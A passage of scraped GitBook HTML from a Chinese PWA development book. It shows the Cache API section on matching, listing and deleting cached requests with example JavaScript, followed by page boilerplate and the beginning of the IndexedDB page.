&#x5047;&#x8BBE;&#x7F13;&#x5B58;&#x7684;&#x8BF7;&#x6C42; URL &#x4E3A; /data.json?v=1</span>\ncache<span class=\"token punctuation\">.</span><span class=\"token function\">match</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/data.json?v=2&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>ignoreSearch<span class=\"token punctuation\">:</span> <span class=\"token boolean\">true</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">response</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x5339;&#x914D;&#x6210;&#x529F;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5728;&#x4E0A;&#x9762;&#x7684;&#x4F8B;&#x5B50;&#x5F53;&#x4E2D;&#xFF0C;&#x7F13;&#x5B58;&#x7684; URL &#x548C;&#x7528;&#x4E8E;&#x5339;&#x914D;&#x7684; URL &#x90FD;&#x5E26;&#x6709; Search &#x53C2;&#x6570;&#xFF0C;&#x4F46;&#x7531;&#x4E8E;&#x914D;&#x7F6E;&#x4E86; ignoreSearch &#x503C;&#x4E3A; true&#xFF0C;&#x56E0;&#x6B64;&#x6700;&#x7EC8;&#x4ECD;&#x7136;&#x5339;&#x914D;&#x6210;&#x529F;&#x3002;</p>\n<h2 id=\"&#x83B7;&#x53D6;&#x5339;&#x914D;&#x7684;&#x8BF7;&#x6C42;\"><a name=\"&#x83B7;&#x53D6;&#x5339;&#x914D;&#x7684;&#x8BF7;&#x6C42;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x83B7;&#x53D6;&#x5339;&#x914D;&#x7684;&#x8BF7;&#x6C42;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x83B7;&#x53D6;&#x5339;&#x914D;&#x7684;&#x8BF7;&#x6C42;\" class=\"plugin-anchor\" href=\"#&#x83B7;&#x53D6;&#x5339;&#x914D;&#x7684;&#x8BF7;&#x6C42;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x83B7;&#x53D6;&#x5339;&#x914D;&#x7684;&#x8BF7;&#x6C42;</h2>\n<p>&#x524D;&#x9762;&#x4ECB;&#x7ECD;&#x7684; <code>match()</code>&#x3001;<code>matchAll()</code> &#x65B9;&#x6CD5;&#x4F1A;&#x8FD4;&#x56DE;&#x5339;&#x914D;&#x5230;&#x7684;&#x54CD;&#x5E94;&#xFF0C;&#x4F46;&#x5982;&#x679C;&#x9700;&#x8981;&#x83B7;&#x53D6;&#x5339;&#x914D;&#x5230;&#x7684;&#x8BF7;&#x6C42;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>cache.keys()</code> &#x65B9;&#x6CD5;&#x5B9E;&#x73B0;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">cache<span class=\"token punctuation\">.</span><span class=\"token function\">keys</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/data.json&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>ignoreSearch<span class=\"token punctuation\">:</span> <span class=\"token boolean\">true</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">requests</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// requests &#x53EF;&#x80FD;&#x5305;&#x542B; /data.json&#x3001;/data.json?v=1&#x3001;/data.json?v=2 &#x7B49;&#x7B49;&#x8BF7;&#x6C42;&#x5BF9;&#x8C61;</span>\n  <span class=\"token comment\">// &#x5982;&#x679C;&#x5339;&#x914D;&#x4E0D;&#x5230;&#x4EFB;&#x4F55;&#x8BF7;&#x6C42;&#xFF0C;&#x5219;&#x8FD4;&#x56DE;&#x7A7A;&#x6570;&#x7EC4;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5982;&#x679C;&#x6CA1;&#x6709;&#x4F20;&#x5165;&#x4EFB;&#x4F55;&#x53C2;&#x6570;&#xFF0C;<code>cache.keys()</code> &#x4F1A;&#x9ED8;&#x8BA4;&#x8FD4;&#x56DE;&#x5F53;&#x524D; Cache &#x5BF9;&#x8C61;&#x4E2D;&#x7F13;&#x5B58;&#x7684;&#x5168;&#x90E8;&#x8BF7;&#x6C42;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">cache<span class=\"token punctuation\">.</span><span class=\"token function\">keys</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">requests</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x8FD4;&#x56DE;&#x5168;&#x90E8;&#x8BF7;&#x6C42;&#x5BF9;&#x8C61;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h2 id=\"&#x5220;&#x9664;&#x7F13;&#x5B58;\"><a name=\"&#x5220;&#x9664;&#x7F13;&#x5B58;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5220;&#x9664;&#x7F13;&#x5B58;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5220;&#x9664;&#x7F13;&#x5B58;\" class=\"plugin-anchor\" href=\"#&#x5220;&#x9664;&#x7F13;&#x5B58;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5220;&#x9664;&#x7F13;&#x5B58;</h2>\n<p>&#x901A;&#x8FC7; <code>cache.delete()</code> &#x65B9;&#x6CD5;&#x53EF;&#x4EE5;&#x5B9E;&#x73B0;&#x5BF9;&#x7F13;&#x5B58;&#x7684;&#x6E05;&#x7406;&#x3002;&#x5176;&#x8BED;&#x6CD5;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">cache<span class=\"token punctuation\">.</span><span class=\"token function\">delete</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">,</span> options<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">success</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x901A;&#x8FC7; success &#x5224;&#x65AD;&#x662F;&#x5426;&#x5220;&#x9664;&#x6210;&#x529F;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x6BD4;&#x5982;&#x8981;&#x5220;&#x9664;&#x524D;&#x9762;&#x6DFB;&#x52A0;&#x6210;&#x529F;&#x7684;&#x201C;/data.json&#x201D;&#x8BF7;&#x6C42;&#xFF0C;&#x76F8;&#x5173;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">cache<span class=\"token punctuation\">.</span><span class=\"token function\">delete</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/data.json&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">success</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x5C06;&#x6253;&#x5370; true&#xFF0C;&#x4EE3;&#x8868;&#x5220;&#x9664;&#x6210;&#x529F;</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>success<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5047;&#x5982;&#x5220;&#x9664;&#x4E00;&#x4E2A;&#x672A;&#x88AB;&#x7F13;&#x5B58;&#x7684;&#x8BF7;&#x6C42;&#xFF0C;&#x5219;&#x6267;&#x884C;&#x5220;&#x9664;&#x540E;&#x8FD4;&#x56DE;&#x7684; success &#x4E3A; false&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">cache<span class=\"token punctuation\">.</span><span class=\"token function\">delete</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/no-cache.data&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">success</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x5C06;&#x6253;&#x5370; false&#xFF0C;&#x4EE3;&#x8868;&#x5220;&#x9664;&#x5931;&#x8D25;</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>success<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5728;&#x8C03;&#x7528; <code>cache.delete()</code> &#x65F6;&#x53EF;&#x4EE5;&#x4F20;&#x5165;&#x7B2C;&#x4E8C;&#x53C2;&#x6570;&#x53BB;&#x63A7;&#x5236;&#x5220;&#x9664;&#x64CD;&#x4F5C;&#x4E2D;&#x5982;&#x4F55;&#x5339;&#x914D;&#x7F13;&#x5B58;&#xFF0C;&#x5176;&#x683C;&#x5F0F;&#x4E0E; <code>match()</code>&#x3001;<code>matchAll()</code> &#x7B49;&#x5339;&#x914D;&#x65B9;&#x6CD5;&#x7684;&#x7B2C;&#x4E8C;&#x53C2;&#x6570;&#x4E00;&#x81F4;&#x3002;&#x56E0;&#x6B64;&#x4E0B;&#x9762;&#x4E3E;&#x4F8B;&#x7684;&#x5220;&#x9664;&#x8FC7;&#x7A0B;&#x80FD;&#x591F;&#x5FFD;&#x7565; Search &#x53C2;&#x6570;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x5047;&#x8BBE;&#x7F13;&#x5B58;&#x7684;&#x8BF7;&#x6C42; URL &#x4E3A; /data.json?v=1.0.1</span>\n<span class=\"token comment\">// &#x90A3;&#x4E48;&#x8BBE;&#x7F6E; ignoreSearch &#x4E4B;&#x540E;&#x540C;&#x6837;&#x4E5F;&#x56DE;&#x5220;&#x9664;&#x8BE5;&#x7F13;&#x5B58;</span>\ncache<span class=\"token punctuation\">.</span><span class=\"token function\">delete</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/data.json&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>ignoreSearch<span class=\"token punctuation\">:</span> <span class=\"token boolean\">true</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">success</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// /data.json?v=1.0.1 &#x5DF2;&#x88AB;&#x6210;&#x529F;&#x5220;&#x9664;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"3-fetch-api.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 3.3 Fetch API\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"5-indexeddb.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 3.5 IndexedDB\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"3.4 Cache API\",\"level\":\"1.4.4\",\"depth\":2,\"next\":{\"title\":\"3.5 IndexedDB\",\"level\":\"1.4.5\",\"depth\":2,\"path\":\"chapter03/5-indexeddb.md\",\"ref\":\"chapter03/5-indexeddb.md\",\"articles\":[]},\"previous\":{\"title\":\"3.3 Fetch API\",\"level\":\"1.4.3\",\"depth\":2,\"path\":\"chapter03/3-fetch-api.md\",\"ref\":\"chapter03/3-fetch-api.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter03/4-cache-api.md\",\"mtime\":\"2019-06-19T10:37:42.127Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter03/5-indexeddb.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>3.5 IndexedDB · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"../chapter04.html\" />\n    \n    \n    <link rel=\"prev\" href=\"4-cache-api.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"1-promise.html\">\n            \n                <a href=\"1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n   